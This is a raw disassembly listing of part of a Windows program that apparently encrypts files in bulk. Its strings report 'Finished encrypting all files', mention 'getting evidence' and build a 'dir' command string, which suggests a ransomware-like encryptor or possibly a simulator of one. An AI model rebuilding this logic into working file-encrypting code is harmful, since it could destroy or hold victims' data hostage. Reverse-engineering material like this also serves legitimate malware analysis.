call fcn.140005af0
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], rdi
lea r8, [r14 + 1]
mov rdx, r12
mov rcx, rax
call fcn.140023d10
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x68]
call fcn.140003a10
mov r12, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
lea r14, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae r14, qword [rbp + 0xc0]
mov rdi, qword [rbp + 0xd0]
cmp rdi, rbx
ja 0x140020670
mov qword [rsp + 0x58], 0xf
cmp rdi, 0x10
jae 0x14001fee1
mov qword [rsp + 0x50], rdi
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x40], xmm0
jmp 0x14001ff29
mov rax, rdi
or rax, 0xf
cmp rax, rbx
ja 0x14001fefd
mov rbx, rax
cmp rax, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rsp + 0x40]
call fcn.140005af0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call fcn.140023d10
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x48]
call fcn.140003a10
mov r14, rax
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x50], xmm0
xor eax, eax
mov qword [rbp - 0x40], rax
test r13, r13
je 0x14001ffd5
movabs rax, 0x7ffffffffffffff
cmp r13, rax
ja 0x140020676
mov rdx, r13
lea rcx, [rbp - 0x50]
call fcn.140006750
mov rbx, rax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rax
mov rcx, r13
shl rcx, 5
add rcx, rax
mov qword [rbp - 0x40], rcx
lea rax, [rbp - 0x50]
mov qword [rbp - 0x28], rax
mov rdi, rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
lea rax, [rbp - 0x50]
mov qword [rsp + 0x70], rax
cmp rsi, r15
je 0x14001ffd1
mov rdx, rdi
mov rcx, rbx
call fcn.140005380
add rbx, 0x20
mov qword [rsp + 0x68], rbx
add rdi, 0x20
cmp rdi, r15
jne 0x14001ffb4
mov qword [rbp - 0x48], rbx
lea r9, [rbp + 0x180]
cmp qword [rbp + 0x198], 0x10
cmovae r9, qword [rbp + 0x180]
mov eax, dword [rbp + 0x190]
mov dword [rsp + 0x20], eax
mov r8, r12
mov rdx, r14
lea rcx, [rbp - 0x50]
call fcn.14001baf0
mov ebx, eax
mov rcx, qword [0x140062930]
mov r10, qword [rcx]
mov qword [rsp + 0x20], r13
mov r9d, eax
mov r8d, 2
lea rdx, str.Finished_encrypting_all_files___d_out_of__d___getting_evidence
call qword [r10 + 0x10]
cmp rbx, r13
jne 0x1400202e6
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 4
mov qword [rsp + 0x58], 0xf
mov dword [rsp + 0x40], 0x20726964
mov byte [rsp + 0x44], 0
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rdx, qword [rbp + 0xc0]
mov r8, qword [rbp + 0xd0]
lea rcx, [rsp + 0x40]
call fcn.140005fa0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor r12d, r12d
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x60]
call fcn.140007c60
lea rcx, [rbp + 0x1a0]
cmp rcx, rax
je 0x140020109
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1b0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
mov qword [rbp - 0x60], rdi
movq r14, xmm1
jmp 0x140020111
mov rdi, qword [rbp - 0x60]
mov r14, qword [rbp + 0x40]
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14002014e
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020149
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002067c
call fcn.140021e64
movdqa xmm0, xmmword [0x140057600]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], r12b
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14002019e
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020199
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020682
call fcn.140021e64
test r14, r14
je 0x14002029a
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
mov r8d, 8
lea rdx, str.cmdtext_
lea rcx, [rbp - 0x80]
call fcn.1400056b0
nop
lea rdx, [rbp + 0x1a0]
cmp rdi, 0x10
cmovae rdx, qword [rbp + 0x1a0]
mov r8, r14
lea rcx, [rbp - 0x80]
call fcn.140005fa0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov edx, ebx
lea rcx, [rbp + 0x48]
call fcn.1400069b0
mov rdx, rax
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae r8, qword [rsp + 0x40]
cmp qword [rax + 0x18], 0x10
jb 0x140020246
mov rdx, qword [rax]
mov rcx, qword [0x140062930]
mov rax, qword [rcx]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
xor r9d, r9d
mov r8b, 1
lea rdx, str.encrypted
call qword [rax + 0x28]
nop
lea rcx, [rbp + 0x48]
call fcn.140003be0
nop
lea rcx, [rsp + 0x40]
call fcn.140003be0
nop
lea rcx, [rbp - 0x80]
call fcn.140003be0
mov rdi, qword [rbp + 0x1b8]
jmp 0x140020316
mov edx, ebx
lea rcx, [rbp + 0x48]
call fcn.1400069b0
nop
cmp qword [rax + 0x18], 0x10
jb 0x1400202b0
mov rax, qword [rax]
mov rcx, qword [0x140062930]
mov r10, qword [rcx]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8b, 1
lea rdx, str.encrypted
call qword [r10 + 0x28]
nop
lea rcx, [rbp + 0x48]
call fcn.140003be0
jmp 0x140020312
mov rcx, qword [0x140062930]
mov rax, qword [rcx]
xor r12d, r12d
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
lea rdx, str.encrypted
call qword [rax + 0x28]
mov rdi, qword [rbp - 0x60]
mov rdx, qword [rbp + 0x178]
cmp rdx, 8
jb 0x14002035c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020357
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020688
call fcn.140021e64
mov rcx, qword [0x140062930]
call fcn.140018a50
mov rcx, qword [0x140062930]
call fcn.140017f40
nop
test rsi, rsi
je 0x1400203cf
mov rbx, rsi
cmp rsi, r15
je 0x140020393
mov rcx, rbx
call fcn.140003b70
add rbx, 0x20
cmp rbx, r15
jne 0x140020382
mov rdx, qword [rbp + 0xf0]
sub rdx, rsi
and rdx, 0xffffffffffffffe0
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400203c6
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002068e
mov rcx, rsi
call fcn.140021e64
nop
cmp rdi, 0x10
jb 0x14002040b
lea rdx, [rdi + 1]
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020405
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020694
call fcn.140021e64
nop
mov rdx, qword [rbp + 0x150]
cmp rdx, 0x10
jb 0x14002044c
inc rdx
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020447
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002069a
call fcn.140021e64
mov qword [rbp + 0x148], r12
mov qword [rbp + 0x150], 0xf
mov byte [rbp + 0x138], 0
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x1400204a6
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400204a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400206a0
call fcn.140021e64
movdqa xmm0, xmmword [0x140057600]
movdqu xmmword [rbp + 0x190], xmm0
mov byte [rbp + 0x180], 0
mov rdx, qword [rbp + 0x110]
cmp rdx, 0x10
jb 0x1400204fe
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400204f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400206a6
call fcn.140021e64
mov qword [rbp + 0x108], r12
mov qword [rbp + 0x110], 0xf
mov byte [rbp + 0xf8], 0
mov rdx, qword [rbp + 0x130]
cmp rdx, 0x10
jb 0x140020558
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020553
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400206ac
call fcn.140021e64
mov qword [rbp + 0x128], r12
mov qword [rbp + 0x130], 0xf
mov byte [rbp + 0x118], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1400205b2
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400205ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400206b2
call fcn.140021e64
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x140020608
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020603
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002063a
call fcn.140021e64
xor eax, eax
mov rcx, qword [rbp + 0x208]
xor rcx, rsp
call fcn.140022230
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140028984
nop
call fcn.140028984
nop
call fcn.140028984
nop
call fcn.140028984
nop
call fcn.140028984
int3
call fcn.1400034f0
nop
call fcn.1400034f0
nop
call fcn.1400034f0
int3
call fcn.1400034f0
nop
call fcn.1400034f0
nop
call fcn.140006690
nop
call fcn.140028984
nop
call fcn.140028984
nop
call fcn.140028984
nop
call fcn.140028984
nop
call fcn.140028984
nop
call fcn.140028984
nop
call fcn.140028984
nop
call fcn.140028984
nop
call fcn.140028984
nop
call fcn.140028984
int3